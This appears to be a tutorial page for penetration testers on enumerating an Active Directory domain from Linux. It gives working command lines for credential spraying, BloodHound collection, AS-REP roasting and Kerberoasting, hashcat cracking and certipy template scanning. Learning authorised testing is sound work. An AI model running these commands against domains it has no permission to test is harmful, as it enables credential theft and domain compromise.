Advanced 30 minUpdated 2026-11-06
Active Directory enumeration
You have one set of valid domain credentials — perhaps from password spraying or a captured hash — and a route to a domain controller. This guide enumerates the domain and finds attack paths, all with tools that run from Linux. For authorised engagements only, against domains you are permitted to test.
Validate the credentials
Confirm the credentials work and see what they can reach across SMB before anything else.
netexec smb 10.10.10.0/24 -u svc -p Password123Spray the credential across the subnet and list hosts, signing and shares.
netexec smb 10.10.10.1 -u svc -p Password123 --usersEnumerate domain users from the DC.
Enumerate the directory
Pull users, groups, computers and policy from LDAP. The password policy tells you how aggressively you can spray.
netexec ldap 10.10.10.1 -u svc -p Password123 --kdcHost 10.10.10.1 --bloodhound --collection AllEnumerate and collect BloodHound data in one step.
Collect attack paths with BloodHound
Ingest the domain into BloodHound to see the shortest paths from your foothold to high-value targets.
bloodhound-python -u svc -p Password123 -d corp.local -ns 10.10.10.1 -c All --zipCollect objects, ACLs and sessions into a zip for import.
Roast Kerberos
AS-REP and Kerberoasting turn ordinary accounts into crackable hashes with no special privileges.
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.1AS-REP roast accounts without pre-auth.
GetUserSPNs.py corp.local/svc:Password123 -dc-ip 10.10.10.1 -requestKerberoast service accounts.
Crack what you collected
Feed the roasted hashes to hashcat offline. Cracked service accounts are often a step up in privilege.
hashcat -m 13100 kerb.txt rockyou.txtCrack TGS-REP (Kerberoast) hashes.
hashcat -m 18200 asrep.txt rockyou.txtCrack AS-REP hashes.
Check certificate services
AD CS misconfigurations (ESC1 and friends) are a common and reliable path to Domain Admin.
certipy find -u svc@corp.local -p Password123 -dc-ip 10.10.10.1 -vulnerable -stdoutFlag vulnerable certificate templates.
BloodHound usually makes the next move obvious: a group membership, an ACL, or a delegation that leads upward. Validate each edge before acting on it, and keep careful notes — AD paths can be long, and defenders are watching these exact protocols.
More guides
Network recon from zero
Go from a single IP range to a map of live hosts, open ports and running services.
Web application enumeration
Map a web application’s surface: technologies, hidden content, parameters and obvious vulnerability classes.
Linux privilege-escalation checklist
A methodical local enumeration pass to find the path from a low-privilege shell to root.